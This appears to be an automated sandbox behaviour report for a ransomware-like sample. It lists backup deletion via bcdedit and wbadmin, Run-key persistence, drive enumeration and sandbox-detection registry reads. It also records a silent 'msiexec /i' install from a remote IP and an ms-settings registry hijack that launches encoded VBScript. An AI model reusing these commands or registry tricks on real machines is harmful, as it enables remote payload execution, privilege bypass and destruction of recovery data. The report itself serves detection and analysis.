079c18a81472a9ed6c3f7522d2013a813ae24c50b2e5e7ea79c4d280e60a3c4e

pid	Process
424	bcdedit.exe
5088	bcdedit.exe
3984	bcdedit.exe
1120	bcdedit.exe
4432	bcdedit.exe
1920	bcdedit.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1264	msiexec.exe

Deletes System State backups 3 TTPs 3 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

pid	Process
4324	wbadmin.exe
1676	wbadmin.exe
4076	wbadmin.exe

Deletes backup catalog 3 TTPs 3 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command-Line Interface

T1059

File Deletion

T1107

Inhibit System Recovery

pid	Process
3396	wbadmin.exe
1160	wbadmin.exe
1676	wbadmin.exe

Executes dropped EXE 1 IoCs

pid	Process
5964	ChromeRecovery.exe

Loads dropped DLL 1 IoCs

pid	Process
4312	MsiExec.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\acZvHejjfcG = "C:\\Users\\Public\\kacZvHejjfcG.c5e2524a-ea46-4f67-841f-6a9465d9d515"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\acZvHejjfcG = "C:\\Users\\Public\\kacZvHejjfcG.c5e2524a-ea46-4f67-841f-6a9465d9d515"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\acZvHejjfcG = "C:\\Users\\Public\\kacZvHejjfcG.c5e2524a-ea46-4f67-841f-6a9465d9d515"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\acZvHejjfcG = "C:\\Users\\Public\\kacZvHejjfcG.c5e2524a-ea46-4f67-841f-6a9465d9d515"	MsiExec.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\_metadata\verified_contents.json	elevation_service.exe
File opened for modification	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\_metadata\verified_contents.json	elevation_service.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\c51da1b2-b0d9-40b1-9c92-ffd816f0647c.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230215132018.pma	setup.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\ChromeRecoveryCRX.crx	elevation_service.exe
File opened for modification	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\manifest.json	elevation_service.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\ChromeRecovery.exe	elevation_service.exe
File opened for modification	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\ChromeRecovery.exe	elevation_service.exe
File created	C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir5872_886862148\manifest.json	elevation_service.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE88B.tmp	msiexec.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File created	C:\Windows\Installer\e57e520.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57e520.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File created	C:\Windows\Installer\SourceHash{FFCEE76B-CFA9-4D82-92FB-930909E9ADF4}	msiexec.exe
File created	C:\Windows\Installer\e57e522.msi	msiexec.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1648	3248	WerFault.exe	56

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000007c4a2b5d7b48cb040000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800007c4a2b5d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3f000000ffffffff0000000007000100006809007c4a2b5d000000000000d0120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007c4a2b5d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000007c4a2b5d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\IESettingSync	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	Explorer.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "1451"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "2234"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1"	sihost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX1apmywg4z9t3tk3nrn9y8ntjc5cg9675\Shell\open\command\DelegateExecute	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\WasEverActivated = "1"	sihost.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\MuiCache	ComputerDefaults.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Rev = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\PersistedStorageItemTable\System\74be88fe-056a-44fc-b604-cf1a4cfb82fa. = ac57fb2a4041d901	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "2234"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX8mn6f6acw2d3hves535dpq0zqnxqkec7\Shell\open\command\ = "AppX8mn6f6acw2d3hves535dpq0zqnxqkec7"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\PersistedStorageItemTable\System\74be88fe-056a-44fc-b604-cf1a4cfb82fa. = "\\\\?\\Volume{5D2B4A7C-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{95f5c8a3-5207-4e8d-a4ac-1fe00940deb0}\\ConstraintIndex.cab"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX8mn6f6acw2d3hves535dpq0zqnxqkec7\Shell\open\command\ = "msiexec /i http://116.203.6.196/ /q"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "223"	SearchApp.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\NodeSlot = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "1266"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	ComputerDefaults.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ms-settings\CurVer\ = "AppX1apmywg4z9t3tk3nrn9y8ntjc5cg9675"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Pictures"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616193"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "887"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByKey:PID = "2"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\DelegateExecute	MsiExec.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\MuiCache	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 3a002e80d43aad2469a5304598e1ab02f9417aa8260001002600efbe110000003478d65282aed801e0a5f5c13f41d901214b24fe3f41d90114000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX8mn6f6acw2d3hves535dpq0zqnxqkec7\Shell\open\command\DelegateExecute	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\PersistedStorageItemTable\System\74be88fe-056a-44fc-b604-cf1a4cfb82fa. = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008828d72a4041d9018828d72a4041d9018828d72a4041d9010000000000000000010000000000000000000000000000001c0514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800b4003100000000000000000010004d6963726f736f66742e57696e646f77732e5365617263685f6377356e31683274787965777900007e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e005300650061007200630068005f006300770035006e003100680032007400780079006500770079000000360060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a006e00310000000000000000001000436f6e73747261696e74496e64657800500009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000043006f006e00730074007200610069006e00740049006e0064006500780000001e00c600310000000000000000001000496e7075745f7b39356635633861332d353230372d346538642d613461632d3166653030393430646562307d00008a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000049006e007000750074005f007b00390035006600350063003800610033002d0035003200300037002d0034006500380064002d0061003400610063002d003100660065003000300039003400300064006500620030007d0000003c0005013200000000004f56766a2000436f6e73747261696e74496e6465782e63616200580009000400efbe4f56766a4f56766a2e0000000000000000000000000000000000000000000000000078ef330043006f006e00730074007200610069006e00740049006e006400650078002e00630061006200000022008b0000002700efbe7d00000031535053b79daeff8d1cff43818c84403aa3732d6100000064000000001f000000270000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e005300650061007200630068005f006300770035006e0031006800320074007800790065007700790000000000000000000000000022000000de0000001c000000010000001c0000003400000000000000dd0000001800000003000000533385d61000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e5365617263685f6377356e3168327478796577795c4c6f63616c53746174655c436f6e73747261696e74496e6465785c496e7075745f7b39356635633861332d353230372d346538642d613461632d3166653030393430646562307d5c436f6e73747261696e74496e6465782e636162000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000787a696f666176640000000000000000244ecd0ae5297e4b9a9fb667cf3bd6bc7d74f79f7b1aed11aecbe62d9fd3cb0b244ecd0ae5297e4b9a9fb667cf3bd6bc7d74f79f7b1aed11aecbe62d9fd3cb0bca000000090000a08500000031535053e28a5846bc4c3843bbfc139326986dce6900000004000000001f0000002c00000053002d0031002d0035002d00320031002d0032003800390031003000320039003500370035002d0031003400360032003500370035002d0031003100360035003200310033003800300037002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000007c4a2b5d000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "AppX0enk2acdsmv8ydhntbtea6yjp27223q6"	MsiExec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX1apmywg4z9t3tk3nrn9y8ntjc5cg9675\Shell\open\command\ = "AppX1apmywg4z9t3tk3nrn9y8ntjc5cg9675"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "1266"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	ComputerDefaults.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\AppX0enk2acdsmv8ydhntbtea6yjp27223q6\Shell\open\command\ = "conhost wscript /B /E:VBScript.Encode \"../../Users/Public/TJOFMFRFMKKQ.sstz\""	MsiExec.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\PersistedStorageItemTable\System\74be88fe-056a-44fc-b604-cf1a4cfb82fa. = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616209"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\IconSize = "48"	Explorer.EXE
